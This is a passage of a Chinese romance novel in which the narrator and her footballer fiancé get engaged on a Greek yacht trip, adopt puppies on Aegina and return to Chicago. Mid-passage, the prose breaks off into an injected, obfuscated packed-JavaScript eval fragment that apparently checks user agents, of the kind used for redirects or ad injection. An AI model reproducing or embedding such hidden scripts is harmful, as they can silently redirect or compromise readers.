上午十点,我躺在最顶层飞桥区的日光浴垫上,波涛像摇篮似的晃悠起伏。海风乍起,仿佛纤细的手指不时爱怜地抚摸着我的发丝,红色裙摆被风吹得紧贴小腿。 就在这时,楼梯上传来一阵脚步声。我依旧保持着原来的姿势,像是一只悠然自得、仰面躺着尽情伸展四肢的猫,沐浴在暖融融的阳光下。 脚步声很快就临近了。 “甜心。”一声甜蜜的呼唤。我的上方出现了那张微笑着的俊朗脸蛋。他逆光的轮廓像镀了层金箔,发丝间沾着沐浴完毕后海盐和薄荷的气息。 我眯着眼睛看着来人。“我们第一次见面的时候也是这样。”我若有所思道,“那时我在沙滩上打着盹,阳光照耀下,整个世界都变得模糊而美好。就在我半梦半醒之间,你忽然出现在我面前,露出灿烂的八颗牙齿。” 他在我身边挨着的另一张浴垫上坐下,将手里那本用金夹子紧紧扣着的黑色缎面书轻轻放到边上,而另一只手里则端着一盘去籽的草莓,层层叠叠得像一座鲜红夺目的小金字塔。 “那天卢卡跑来告诉我,他要去捡上一堆五彩斑斓的贝壳,为一位会说葡语的可爱女士服务。我无比庆幸我因为好奇心作祟来瞧了瞧这位可爱的女士。于是,从那天起,从你用沾满了沙砾的手轻轻摘掉墨镜望向我的那一刻起,所有一切都开始发生变化。” 我笑而不语,他从盘子里拣了一颗草莓递到我嘴边,冰镇过的果肉沁出晶莹水珠。我正要张嘴吃下,他却忽然把手腕一缩,收回了手。 我挑了挑眉毛,嗔怪地看着他,他轻笑道:“你还没有告诉我你的答复。” “我还以为你已经知道了。” “我只是想听你说。” 浪花在船舷炸开,他的眼神中盈满了无限的柔情、恩慈和欢乐,天神般的高贵,螟蛾般的卑微。 “我想要你快乐,亲爱的。”我轻盈地侧过身来,支着手肘,“我当然愿意成为你的未婚妻,毋庸置疑,”指尖划过他紧绷的下颌线,“因为那也会令我快乐,未婚夫先生。” 于是,恰似一场突如其来的绚烂梦境,毫无征兆地在那双褐色眼眸的深处轰然绽放。 我双眼亮晶晶地凝视着这样的他,忽然伸手捻起一颗草莓,沾上酸奶,一股脑地塞进他嘴里。看到他被酸得五官挤作一团的模样,我再也忍不住,笑倒在软垫间。 就在我毫无防备之时,他一下捉住了我赤裸的脚踝,报复性地轻挠我的脚心,酥麻的感觉瞬间从脚底蔓延至全身,我顿时蜷成一团大笑着求饶。 - 玩闹过后,我脸颊泛红,轻轻坐起来,去拿他带来的那本书。 封面鎏金的烫印纹路映入眼帘,不是我以为的《圣经》,而是一本葡法双语版的加缪书信集。 “加缪在第二段婚姻维系期间,邂逅了他此生的挚爱,西班牙女演员玛丽亚·卡萨雷斯。而后,他们之间开启了一场长达十二年的书信往来。”我用指甲轻轻划过某段被反复摩挲的法文段落,油墨早已晕染,“真是令人难以想象啊,那个在《局外人》里塑造出如此冷漠疏离形象的加缪,在写给情人的字句之中,竟满是热情、痴狂与自卑。” “在爱情面前,所有的名气、骄傲与才华,都变得微不足道。”里卡多叹息道。 我枕上他光洁的大腿,双手稳稳举起书,翻过一页,继续说道:“你以前可是觉得这是一种不道德的爱情。你会认为,这是对婚姻的公然亵渎,更是上帝无法宽恕的行为。” “我仍然认为加缪在私德上有瑕疵。可现在,我却情不自禁地被这种热烈、绝望且并不完美的爱所感染。”他的声音中像是闪过一丝忧伤。 “他生前写给玛丽亚的最后一封信里说:‘给你写最后这封信,是想告诉你我星期二到。一想到马上就能见到你,我满心欢喜,以至于在给你写信的时候都一直在笑。给你送上我的亲吻和拥抱,周二见,到时候我会重新开始。’那时,他正在普罗旺斯的村舍里创作他的小说《第一个人》。然而,在前往巴黎的途中,汽车不幸撞上了大树,他当场离世。就这样,他永远也见不到他深爱的人了;而他的爱人,也再没机会为他拍掉一路舟车劳顿所沾染的尘土。” 说着,他抬起手臂,手掌百般温存、万分温情地贴上我的脸颊。像是在确认我的存在,又像是在传递他心底里的爱意与担忧。 “这种即将见到爱人时内心满溢的雀跃,我无法不感同身受;同时,我又怎能不感到一丝恐惧,命运无常,倘若有一天意外降临,我再也无法亲吻你的双唇。所以,请原谅我,佐伊,我知道今天的我有些冲动,我甚至找不到合适的言辞为自己的行为辩解,我……” 忽地,我将翻开的书合上,紧紧贴在自己的胸前。我抓住了他的手,他原本游离的目光随即凝聚,与我的眼眸隔空交汇。 “‘在这个坍塌的世界里,在这样人的生命轻如鸿毛的历史中,即使充满了危险和不确定,也一定要去爱,这是一件伟大而了不起的事。’第32页,第16行。”我微微仰头,用我的手指一根一根扣合住他的手指,“为什么要为你爱我而道歉呢?你只是在爱我呀。” 42.白狗 等到下午,在船长的陪伴下,我们在飞桥的露天驾驶台上切换到手动驾驶模式,体验了一把驾驶游艇的乐趣。 “这里的驾驶视野太棒了。”我雀跃道,“等回到美国,我一定要去考个游艇驾驶证。” “甜心,”身边的男人悠悠道,“等你出海的时候,可别忘了提醒你的同伴们带上晕船药。” 我微微挑眉,却没有反驳他,毕竟我是刚上手的菜鸟,而他确确实实是个老手。 就在刚才,这个男人又一次给了我意想不到的惊喜。我没想到他居然对驾驶游艇也极为精通。 在一旁辅助我们的船长原本还带着审视的目光,随着里卡多的操作渐入佳境,那目光也渐渐转为赞赏。 操作台上的各种仪表闪烁着令人目不暇接的光芒,我看着里卡多左手虚按在双杆式电子油门上,手腕轻轻一抖,轻推右侧杆位:“我们需要根据浪涌周期来调整推进比。”船艉双螺旋桨瞬间转换扭矩分配,游艇便如同一头灵动的白海豚,在波谷间完成优雅的切浪。 他又用食指关节叩了叩陀螺罗经显示屏,“红色指针指示的是基准方向。”他对我解释道,玻璃罩下,数字正跳动着精确到0.1度的航向修正量,“这是由高精度的陀螺仪和复杂算法协同运作得出的数据,在调控舵轮时,我们必须参照这些度数,来确保游艇的航向与GPS规划的路线保持一致。一旦航向出现偏差,哪怕只有零点几度,长时间积累下来,也可能导致航线大幅偏离。” 陀螺罗经作为游艇的导航核心,始终坚定地指向真北方向,哪怕受到海浪颠簸、磁场干扰等因素影响,它也能迅速调整,给出最准确的航向信息。在稳定的动力和精准的航向控制下,游艇始终保持着不疾不徐的行驶状态。船长确认各项数据稳定后,显然放下了心,将注意力转移到了另一位学生身上。 他示意我看向那面镶嵌在中控台的高分辨率显示屏。它是游艇的“智慧之眼”,正清晰地呈现着周围海域的详细地图,其信息来源不仅有卫星遥感数据,还整合了过往船只采集的实时水文信息。 船长大叔轻点着屏幕,开始为我讲解起各类航海标识。“看这里,这条曲折的线条代表海岸线,它的形状会随着潮汐的变化而略有不同,驾驶员需要时刻关注潮汐表,才能精准判断靠岸的时机。” 他又指向屏幕上颜色较浅且标有特殊符号的区域,“这些颜色淡的地方就是浅滩,通常水深度小于安全航行深度,贸然驶入可能导致游艇搁浅。而这些不规则的阴影区域代表暗礁,它们藏在水下,难以被肉眼察觉,是航海时最危险的隐患之一,……” 当里卡多结束体验,把舵轮交还给船长时,这位满脸半白络腮胡的希腊船长使劲拍了拍他的肩膀,用流利的英语夸道:“你是我见过最棒的游艇驾驶者之一。” 里卡多只是谦逊地笑了笑。轮到我坐到驾驶座时,身旁有两位经验丰富的行家保驾护航,我内心那股初生牛犊不怕虎的劲儿便瞬间涌上心头。我深吸一口气,双手猛地发力,将双杆油门一股脑推到底。 引擎骤然爆发的轰鸣震得所有人脚底发麻,涡轮增压器的啸叫如同鸟嘴尖啼。刹那间,游艇如离弦之箭般飞出,原本平静的海面被船头狠狠劈开,激起层层白色浪花,恰似被高速搅拌的牛奶。我开出了一种战斗舰般勇往直前、劈波斩浪的激情。 AIS警报开始频闪,五海里外的船舶图标正以每秒三次的频率涨红。与此同时,整个显示屏仿佛被点燃一般,疯狂发出刺耳的警报声,仿佛在声嘶力竭地提醒我:“注意!注意!避让周边船只!” 里卡多的小臂肌肉骤然绷紧,但他最终只是将手掌虚按在我因兴奋而颤抖的手背上。船长大叔差点伸手按下紧急制动按钮。就在千钧一发之际,借着涌浪抬升船尾的瞬间,我眼疾手快,率先拉回双杆油门,同时精准地操作控制面板,让左舷推进器全速倒车。游艇在海面上猛地转向,船体擦过暗涌时龙骨与礁石间爆出串串幽蓝电火。 “漂亮的反切浪动作。”里卡多赞叹的声音擦过耳际,我偏过头,冲他扬起嘴角。不经意间,我瞥见他被海水浸湿的衬衫下,紧绷的肩胛线若隐若现,像极了海鲨在蓄势待发时的流线型背肌。 “不过下次记得先看潮汐表,注意潮高和潮时。”他微微凑近我,认真提醒道,“刚才的涌浪周期还剩27秒,按照这样的波高和波长,要时刻关注船舶的横摇和纵摇幅度,避免触礁。” “或许驾驶帆船才更对你的胃口,佐伊小姐。”海风呼啸着退去,船长大叔苦笑着摇摇头,他翘起的胡须上还挂着飞沫,犹如随波摇晃的稗草穗子。 - 临近傍晚,我们开始往埃伊纳岛的方向驶去。 这个小岛位于爱琴海的萨罗尼科斯湾,静卧在伯罗奔尼撒半岛的斯基拉伊翁角和阿提卡半岛的苏尼翁角之间。从雅典出发,只需一小时的船程便可抵达。里卡多预订的晚餐餐厅就在那儿。 当游艇缓缓靠近小岛,在我们眼里升起的那轮太阳恰好开始在银涛中徐徐沉落,几只卷起帆的鱼鳍形小船停泊在我们和陆地之间。 “注意脚下,佐伊船长。”里卡多扶住我跃向码头的腰肢,“希腊人铺石板时总爱留点惊喜——”话音未落,我的靴跟果然卡进了两道岩板的裂隙,整个人栽进他怀里。 我郁闷地瞪了他一眼,费力地把脚抽出来。回过头看,岸边的那些建筑,陈旧的石头灯塔、延伸到水域中的栈桥、低矮的仓库……全都在夕阳下染上了淡淡的一层颜色,极其微妙柔和,与其说是具体的色泽,不如说是某种色彩的朦胧意象——就仿佛它们正做着绯红的绮梦,或是心中萌生了熔金的念头。 餐厅坐落在海边的高地上,露台的青铜风向标正指向西北。我们坐在临窗的位置,窗外的天空正将日暮时分的黑色衣裳浸入大海之中。 我们点了几道颇具希腊特色的菜肴,希腊国菜穆萨卡(配料丰富版茄盒)、酿番茄球(平平无奇的番茄塞饭)、葡萄叶包饭(葡萄叶的口味非常像酸菜)和配上酸奶黄瓜酱的希腊式烤肉。 我们默契地没有对这些菜做过多评价。 我夹起一块烤肉,犹豫了一下,还是违心地夸赞道:“这烤肉还不错。不过和巴西烤肉比起来还是差了点火候。” 里卡多弯了弯嘴角,轻抿了一口酒。 当甜品上桌,看着洒满厚厚糖霜的杏仁曲奇,我下意识地皱起了眉毛。咬下一口,过于甜腻的味道瞬间在味蕾上爆炸,我差点没被齁住。 “老天,甜品师是把一整桶糖霜都倒进去了吗?”我费解道。 里卡多心有余悸地瞟了一眼桌上的甜点,就好像它们是什么危险的炸弹引线:“我现在真是庆幸,没按原计划在这儿向你求婚。” 我噗嗤一笑:“难道我会因为餐厅饭菜难吃,就拒绝你吗?” 他摇了摇头:“以后回忆起这一天,要是你首先想到的是这些口味欠佳的希腊菜,我肯定得郁闷好久。我希望这一天在你心里是完美无缺的。” 晚饭后,我们在岛上散了会儿步。 现在这个季节,埃伊纳岛上的游客并不多,加之小岛离雅典很近,许多人都选择在天黑前返回雅典。随着夜色降临,岛上的店铺陆续关门歇业。 海风把潮水的晕影吹上岸,礁石边一排绿幽幽的树沾了点蓝色,怄气似的甩了甩枝叶,把一蓬蓬蓝迹抖在空气里。忽然间,一束纤长的拖着火光的枝条,从蓝幽幽的尽头跃起,向着夜空奋力攀爬,一下又一下,锲而不舍,直至冲破夜幕,闯入浩瀚苍穹。这束光芒还没来得及欢呼,一大簇光莹莹的细枝便紧紧追赶了上来。 仿佛是一千万块薄荷酒里头的冰块同时沉入滚烫星河发出的巨响,第一根枝条在月亮边上炸开了,绽出一朵花儿。一朵烟花尚未消散,另一朵又接踵而至。霎那间,像金色的垂柳,又像缀满点心糖的胡须,满天的花火丝丝缕缕地从夜的黑色裙摆上垂落下来。 我仰头望向天空,欣赏了许久,听到远处的孩子们跑出家门,欢声笑语在夜色里跳跃回荡。我侧过头来,瞥见里卡多脸上那一抹淡淡的赧然。 “这是你原先准备好的?”我恍然道。 他握紧我的手:“本来打算在烟花下把戒指送给你,再问你愿不愿意做我的未婚妻。” “你没通知他们取消这个安排?” 他摇了摇头:“我只是想放烟花给你看,不管你最后的答案是什么。” 我看到明彩的星辰在他的头顶一颗一颗升起。 “现在烟花在尽情绽放,而我们就站在烟花下。” 他微微一愣。 “所以,现在该我来问你了。”烟花的光在眼底跳跃,笑意爬上脸庞。 “你愿意做我的未婚夫吗,卡卡先生?” 所以,就在这如梦似幻的烟花之下,换成我来问你吧。无论过去、现在,还是未来,我都会毫不犹豫地向你奔赴,怀揣着从初见你时便开始累积的爱意。Always. 所以,你愿意吗?与我同行,与我共此一生。 “我愿意。” 他的回答在我耳畔炸响。这是一颗小小的、沉沉的烟花。 - 游艇在港口抛下锚。我伫立在甲板上,目光越过水天难分的霭霭夜色,投向烟花过后岛屿上稀稀落落的灯火。它们彼此串联,散出渺茫的光,看上去就像是用一个网兜住了上百颗疏星和碎月。 “这座岛叫作埃伊纳,它曾是一个女孩的名字。宙斯变成一只鹰,把她掳到了这座岛上,后来他们生下了一个男孩,成为了这座以他母亲名字命名的岛屿的国王,他就是特洛伊战争中英雄阿喀琉斯的祖父。” “又是宙斯的风流韵事?”里卡多走到我身旁,一条柔软的羊毛披风轻轻落在我的肩头,“希腊神话就像是一部宙斯的多情史。” 我不禁莞尔,侧身迎向他的目光,好让他能更方便地将披风的边缘环绕在我的颈项周围。 “总结得很精辟。在克里特岛修筑迷宫的米诺斯,是宙斯变成公牛拐走欧罗巴后和她孕育的子嗣。斩杀美杜莎的珀尔修斯,诞生于宙斯化作金雨与达娜厄的交融。引起特洛伊战争的美女海伦,也是这位众神之王的私生女。” 他抬起手,将我那些被海风吹乱的头发轻轻拨到耳后。“古希腊人的神明和凡人一样,有七情六欲,并不完美。神话是他们打磨的一面镜子,映照出人世间的价值观。” “神与人同形同性,神的国度和凡尘俗世有什么不同呢?”我轻声问。 他微笑道:“神并非高高在上,即使是全知全能全善的存在,也源自凡人对美好的憧憬。” 我定定地凝视着他,忽而,指尖轻落在他的嘴唇上。 指腹如玉珠滚动,揉过这横鲜妍,它红得就像一截朱砂染成的缎带,一盏兑入处子泪珠的葡萄酒,任月光怎么爱抚,都不会影响情波的流淌。 “神山无需涉水登山,就在爱人的唇齿之间。”我呢喃着。 他握住我的手,将它从唇边移开,却又紧紧地攥在手心。 “亲爱的,我朝爱欲的火海走去,你吞没了我,却并未烧焦我的皮肉。你以火舌吻我,将我的灵魂完整剥离。” 他俯下身,眸光溶在我的眼中,亮得像白银在黑暗中闪光,像金色瀑布在阳光下飞泻。“愿诸神慈悲垂怜,俯允我永生沉沦此爱,永不醒来。” - 次日早晨,我们特地起了个大早,好来逛一逛岛上的市场。 此刻的小岛宛如一只惺忪着眼,动作迟缓的寄居蟹,在无数海葵似的小人们的喧闹中,才渐渐从沉睡中苏醒。它大张着嘴,吐出的气息里满是希腊语交织而成的问候与吆喝。 我们在清晨的薄烟里颠簸起落,不知怎的就到了一群刚从港口归来的渔夫们中间。 跟随着被一筐筐鱼虾压得“吱吱呀呀”哼唧不停的木板车,我们穿过弯弯绕绕的街巷,脚下敝旧的石板路被晨露沁得湿凉,浓稠的水汽裹着冷冽的鱼腥味,沉甸甸地垂挂在市场上空。 各色海鱼匍匐在冰块上,努力睁大银白的眼睛,肥硕的螃蟹张牙舞爪,鲜嫩的虾子活蹦乱跳,偶尔有水花晶莹溅出,引起过路人的欢笑。 这儿水陆陈杂,我们走过一片碧绿嫩红,宛如春日正盛的蔬果摊,间或有几只生鸡活鸭姿态悠然,如巡视领地的伯爵般,在我们面前时而来回踱步,时而低头觅食。 又有几只肥羊“咩咩”乱叫,不安地腾挪着脚步;暴躁的公牛蹬着蹄子,发出沉闷的吼声,被主人挥舞着鞭子不情不愿地赶进棚圈。沿街叫卖的小贩和嬉笑追逐的顽童挤成一团,远处的狗嗥声凑热闹似的此起彼伏。 路过一间弥漫着浓郁香料味和果干香的铺子,微微呛人的金粉和阳光融在一起,一不小心就揉进了人的眼睛里。我拍了拍手,掸去些许灰尘,接过店主热情递过来的无花果干,自己尝了一个,又调皮地塞进里卡多嘴里一个。 等里卡多去为我买岛上特有的开心果冰淇淋,我便往旁边的古董摊上张望,一些陶罐、小型石雕和铜制首饰杂乱地摆放在一起。 我饶有兴致地拿起一个绘有美杜莎头像的彩色小陶罐,原本打着瞌睡的店主立刻来了精神,操着磕磕绊绊的英语为我讲起这个陶罐的“悠久历史”。 里卡多举着冰淇淋冲我招了招手,我赶忙冲店主歉意一笑,拔腿溜走了。 “那个大叔竟然说那只小陶罐是从克里特岛的米诺斯遗址出土的。”我摇了摇头,迫不及待地舔了一口冰淇淋,柔滑的口感在舌尖散开,“那釉面的颜料几乎还没晾干呢!” 我们信步闲游,拐过一个巷角,不经意间,踏入了一片居民区。 这里的街道相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我惊讶地和里卡多对视一眼,但还没等我们做出回应,门内就传来了一阵轻微的脚步声。紧接着,一个十五六岁的少年走了出来。 少年和小女孩长得很像,一看便知是兄妹俩。小女孩用希腊语急切地和他交谈起来。她哥哥一边听着,一边点头,偶尔将目光投向我们。 过了一会儿,少年用带着浓重口音的英语,简单明了地对我们说道:“我们家里养不起这么多小狗,正在为它们寻找新主人,你们想要收养吗?” 我把目光落到那窝小狗身上。 有一只正在狗妈妈怀里拱来拱去,小鼻子一耸一耸,发出微弱软糯的“呜呜”声;有两只正相互依偎着酣睡,粉嫩的小肚子随着呼吸一起一伏,偶尔还会咂巴小嘴;那只最调皮的似乎是爬累了,睁着圆溜溜的眼睛,懵懂地四处张望着。 “你们真的要把小狗送给我们?为什么不在当地找主人呢?”我问道。 “你们从美国来。”少年双手一摊,理所当然道,“美国人,有钱。” 这话让我一时语塞,片刻后,我露出哭笑不得的神情,耐心解释道:“要是我们把小狗带走,它就得离开自己的妈妈了。而且,以后你们恐怕就再也见不到它啦。” 少年听后,眼中闪过一丝犹豫,他转头看向妹妹,用希腊语轻声说了几句。 小女孩摇了摇头,先是回应了她哥哥,随后又坚定地转向我们,一字一顿地说道:“带它去美国,让它,快乐。” 她哥哥见状,无奈地叹了口气,转而向我们解释:“雪球原本生了八只小狗,之前已经送出去三只了。但小狗实在太多,雪球的奶水不够。我们给它们买了羊奶,可还是不够吃。上个月,有一只小狗没能撑过去,现在就只剩下这四只了。” 我下意识地看向里卡多,恰好他也正望向我。他一如既往地温和,轻声问道:“你想要这只小狗吗?” 我迟疑了一下,缓缓道:“带着小狗回美国,办手续会不会很麻烦?” 他微笑道:“不麻烦。如果你想养它,那些手续和可能出现的问题都能被解决。” 看着小女孩忐忑的眼神,我沉默片刻,终于点了点头:“好,我们收养它。” 听到我们的决定,小女孩的脸上瞬间绽开笑容。少年也咧开嘴,用英语真诚道谢:“谢谢你们!” 忽然,小女孩跑到狗妈妈“雪球”身边,蹲了下来,轻柔地抚摸着雪球的头,嘴里喃喃地说着一些话。 雪球像是听懂了小女孩的话,温顺地伸出舌头舔了舔她的手,然后叼起一只小狗,迎着我们惊讶的目光,慢慢地走过来,把小狗放在我的脚边。 这只小狗无疑是最调皮、最强壮、最漂亮的一只,它的毛发白得没有一丝杂质,眼睛又大又圆,就像两颗黑宝石,正骨碌碌地打量着我们。 我刚准备弯腰抱起它,狗窝里却传来了急促的“呜呜”声。我循声望去,看见另外几只小狗全都躁动起来,小尾巴摇个不停,仿佛在急切呼唤着同伴。 我的目光在几只小狗身上一一掠过,一个念头油然而生。我依次轻点着所有小狗,示意少年帮忙翻译,向小女孩询问:“能不能把所有的小狗都交给我们照顾?” 小女孩愣了一下,她望向剩下的那三只小狗,最后把视线停留在一只最安静的小狗身上。她弯腰摸了摸它的头,抬头看向我说:“除了这一只,其他三只,都给你们。” 里卡多从口袋里掏出一沓钱递给小女孩。那少年的脸上立刻浮出惊喜,小女孩咬了咬嘴唇,迟疑了一会儿,还是接过了钱。 她对我们做了个稍等片刻的手势,转身跑回房子里,不一会儿,就攥着一块干净的旧棉布匆匆折返。她蹲在小狗们面前,用棉布把它们严严实实地包裹起来。 里卡多走上前,小心翼翼地接过三只被乖乖裹好的小家伙。它们像是急于探索未知世界的小精灵一般,迫不及待地从包袱中挨个探出毛茸茸的小脑袋。 我们向兄妹俩详细询问了小狗的情况,得知它们尚未接种疫苗。考虑到小狗们的健康,当务之急是带它们去岛上的兽医诊所进行全面检查。 检查结果还算令人欣慰。两只浑身雪白的小狗各项指标都十分健康,那只黑白相间的杂色小狗有些营养不良,但没有其他问题。 医生为它们分别注射了疫苗。之后,在医生的建议下,我们又为小家伙们挑选了一些羊奶罐头、营养补充剂以及必备的药物。 从诊所出来后,我们带着小狗们回到游艇。一路上,小家伙们在里卡多的怀抱中渐渐安静下来。 一上游艇,大家便纷纷围过来看这几位新成员。侍者为它们准备了温暖的小窝和干净的水。 而在这之后,我们还需要为带小狗回美国做诸多准备。 43.礼物 将三只小狗从希腊带回美国,需要经过一系列复杂的程序。这包括为宠物打全狂犬疫苗、植入微芯片、安排血液检查和办理检疫证明等。 由于我们在感恩节假期的第四天就要返回芝加哥,因此我们决定先将小狗交给尼克和米丽安。他们会暂时留在雅典,为这些小家伙们寻找一家可靠的宠物寄养机构,以便照顾小狗并代办手续,这可能需要一个月的时间。等一切手续完备,我们会预订一架私人飞机,把小狗们平安接回美国的新家。 我没有再佩戴那枚碧玺戒指,而是小心翼翼地将它收了起来。在和里卡多商量之后,我们达成共识——暂时对订婚的消息按下不表,不向外界透露。 飞机在高空平稳飞行,窗外的云海如连绵的雪山,绵软又静谧。我坐在宽敞的沙发上,随意瞥了几眼舷窗外的风景,转头看向里卡多,认真说道:“我得先把这个消息告诉莱昂和布兰卡,这一次总不能又让他们比记者晚知道。” 他立刻把电视声音调低:“我们是打个视频电话,还是当面去告诉他们?要是当面说,我们可以直接飞去中国。” 我考虑片刻后拿定了主意:“还是面对面说吧。我打算圣诞节假期就飞回中国。你就别陪我啦,我一个人去就行 。” “我和你一起回去。” 不出所料,他提出了反对。 “宝贝,”我脑袋一歪,又软又甜地唤他,“我爸妈都不信教,圣诞节对他们来说不过是一个普通的节日,可对于西蒙妮和博斯科则意义非凡,而且你都好久没见到卢卡和贝拉了。你得回巴西去,好好陪陪家人,他们一定很想你。” 他神情一滞,犹豫着点了点头,那双长毛犬般的眼睛却嵌在眼窝里透着些欲言又止。 “不要这么水汪汪地看着我。”我凑近他,抬手捏住他的脸颊,手指微微用力,将他的脸捏出一个可爱的弧度,“放心啦,我作为我们俩的代表去就行了。莱昂和布兰卡不会在意的。” 我松开手,他微蹙的眉眼才渐渐舒展开来。 “我没记错的话,你的家乡是在建康?”过了一会儿,他顺手把我捞到怀里问道。 “对呀,只是到时候我得在香港转机,而且还是跨天换机,所以还得在香港留宿一晚。” “甜心,”他深深吸了一口我的味道,哑然失笑,“你不需要去香港转机了。” 我诧异地从他胸前抬起头,迎着我逐渐明悟的目光,他的眉眼间浮起顺理成章的态度:“我怎么会让你如此奔波?我会为你预订私人飞机,就像我们这次往返希腊一样。要是连这点都做不到,我这个未婚夫可真是太不合格了。” “哦。”我瘪了瘪嘴,假装遗憾地叹了一口气,“本来我还想着,转机那天一大早去尝尝港式叉烧包,再喝上一碗杨枝甘露呢。” “那先飞到香港停一下,然后再飞建康?”他一脸认真地提议,似乎只要我点头,他就会立刻安排妥当。 “哈哈,我逗你呢。”我忍不住笑了起来,往他怀里更深处拱了拱,“你怎么这么可爱?香港我都去过好多次了。再说了,你瞧——”我指了指电视屏幕上正在播放的《古墓丽影2》,笑眯眯道,“这不就是香港吗?” 话音刚落,电视屏幕里的安吉丽娜·朱莉和杰拉德·巴特勒便从香港的标志性建筑——420米高的国际金融中心一跃而下,展开翼装,在城市上空翱翔。 “我还没去过香港呢。”他轻轻捻起几缕我的栗色头发,在两指之间摩挲缠绕。 “我可喜欢香港的美食了。”我舒服地窝成一团,连语气也变得懒洋洋,“香港是座很特别的城市,有一种中西交融的国际范儿,是流光溢彩、蜿蜒高耸的玻璃之城。而我的家乡建康呢,既有典雅的韵味,又不失烟火气,就像旧时的明月,见证过朱门里的繁华,也映照过江流山转的变迁。” “那你的家乡有什么好吃的?”他好奇地问。 “烤鸭。”我不假思索道。 “像北京烤鸭那样?” “不不不,”我瞬间坐直了身子,冲他严肃地摇摇头:“北京烤鸭得叫它爹地。” “哈?”他顿时张大了嘴。 “我说的是真的。六百多年前,中国有个皇帝住在建康,他的厨师很聪明,发明了一种独特的烤鸭做法,将腌制好的鸭子用炭火慢慢烘烤,鸭子就能皮酥肉嫩,肥而不腻,皇帝特别爱吃。后来,皇帝的儿子迁都到北京,就把这种烤鸭技艺也带了过去,这才有现在的北京烤鸭。” “原来是这样。”他恍然大悟,点了点头,又接着问,“那北京烤鸭的爹地和北京烤鸭味道有什么不一样吗?” “既然是爹地,那肯定更胜一筹啊!”我煞有介事地说道,“所以当然比它儿子好吃啦。” - 从雅典回到芝加哥的这半个月,就像被按下快进键的影片,无声却又迅猛地流转。 生活依旧被读不尽的文献和写不完的论文所填满,我如同一只被最后期限疯狂抽打、不知疲倦的陀螺,在家与学校、图书馆和教室之间高速旋转、来回穿梭。 起初,我和露娜、斯嘉丽还会通过抓阄的方式,选出那个不得不去食堂买饭的“幸运儿”;到了后来,我索性雇佣了一个大一学弟来为我们跑腿,经过一番讨价还价,最终敲定:一张卡卡的签名照能抵5趟跑腿,一件签名球衣则可折抵20趟。虽说很难讲这究竟为我们节省了多少时间,可好歹让原本紧绷的神经,不至于被拉扯得更加不堪重负。 由此,在一场比赛结束后立刻飞到芝加哥来看我的里卡多,先是被我热情的拥吻搞得晕晕乎乎,随后便被塞了一沓他驰骋球场的各色高清照,外加一整箱球衣,有他效力于现任东家的十号战袍,也有来自曾经老东家的队服,颜色款式各式各样 。 “宝贝,你这是准备批量送人吗?”他接过这些东西,哭笑不得地问道,但还是乖乖拿起我递过去的笔,开始认真签名。 “有备无患嘛。”我得意道。 当小学弟在图书馆门口兴高采烈地拿到了他最爱球星的签名时,我不慌不忙地告诉他:“这一张照片,能抵你给我跑20趟腿。” “这哪行啊!你这不是奸商是什么!”小学弟满脸惊愕,扯着嗓子大声抗议。 我耐心提醒:“别着急,看看签名旁边写了什么。我专门请卡卡给你写了祝福语,还带上了你的名字哦。” 小学弟连忙低头端详,原本因激动而竖起的眉毛缓缓落了下来 。 “成交!” 他重重点头,满意拍板。 当我轻快地回到座位时,斯嘉丽的声音像是从另一个时空悠悠飘来,穿过那本足有上千页的厚重硬皮书,直直钻进我的耳朵里:“真羡慕你啊,有男朋友给你输送能量。” “社媒上大家都在讨论,说卡卡黏他女朋友黏得可真紧,只要佐伊没去现场看他比赛,第二天他保准会飞到芝加哥来。好多人都在飞往芝加哥的航班上偶遇过他呢。现在他们都在琢磨,怎么才能和卡卡搭上同一班飞机。我也留了个评论,说要是有人肯来芝大图书馆瞅一眼,瞧见自习桌上坐的不是青春可爱的大学生,而是一群顶着黑眼圈、眼神涣散、恍若幽灵的家伙,那就别迟疑,赶紧买机票吧!话说回来,你们现在出行不都坐私人飞机吗?卡卡这么省钱?网友还说,卡卡给女朋友都订私人飞机呢,自己却还在搭民航。” “疑似我风评受害啊。”听完斯嘉丽一口气说的一大串,我嘟囔了一句,“私人飞机得提前几天申请航线,有时候他太想我了,等不及申请流程,就直接买民航机票飞过来了。” “上帝啊,把这对情侣拖出去!”斯嘉丽夸张地捂住脸,悲愤道。 我只是耸了耸肩,心情依旧愉悦地拉开椅子落座。 “你有说这些八卦的时间,都能看十页书了。”露娜连眼刀都懒得飞给斯嘉丽一个,手指在笔记本电脑上飞速敲击。 斯嘉丽放下手,瞪了一会儿露娜,见她的视线像是被电脑屏幕黏住了似的,自始至终都没抬一下,便自觉讨了个没趣,默默转向我。 “我彻底学不进去了,脑袋现在乱成一锅粥。”她可怜兮兮地向我诉苦。 “要不你也……找个人给你充充电?”我迟疑道,“兰登呢?你之前不是还和他约会来着?” “别提了,我把他踹了。”她翻了个大大的白眼,“他就是个彻头彻尾的蠢货,居然说足球是一群野蛮人的运动,卡卡就是这群野蛮人的头,还说看在他有点文化的份上,勉强当个野蛮人国王好了。他还大言不惭道,上次来参加聚会,纯粹是碍于你的情面。这傻帽,我当场把他扫地出门了。我真害怕他会把蠢传染给我!” “干得漂亮!”我冲口而出,几乎在同一瞬间,露娜的大拇指也无声而飞速地竖到了我们面前。 - 等终于迎来芝大正式放假的这天,我仍然像往常那样起了个大早,恍恍惚惚地走进车库,准备开车去学校。直到米丽安晨跑回来,满脸疑惑地询问我打算去哪儿,我才如梦初醒,惊觉自己已经放假了! 整个圣诞节假期从12月14日开始,一直持续到次年的1月6日。虽然只有短短24天,但我的日程安排可一点也不少。 历经一个季度忙碌到几乎喘不过气的学习生活后,大学生们在放假的首日,便迫不及待、马不停蹄地投身到各种社交活动之中。 “亲爱的佐伊,在接下来的几天,你有四场舞会和晚宴需要出席。”米丽安滑动着我的日程表,活像一个严苛的监工,语速飞快地宣布道。 “多少?”我难以置信地问。 “四场。”她同情地重复道,“学院圣诞舞会就在今晚,学生会圣诞晚宴在明晚,人类学社团圣诞舞会在后天晚上,到了第四天晚上,还有一场私人晚宴 。” “哦——”我拉长了尾音,像只被抽去了骨头的猫,颤颤巍巍地眨了眨眼,接着软绵绵地从沙发上滑了下去,仿佛瞬间变成了一根猫条,或是一滩猫水。 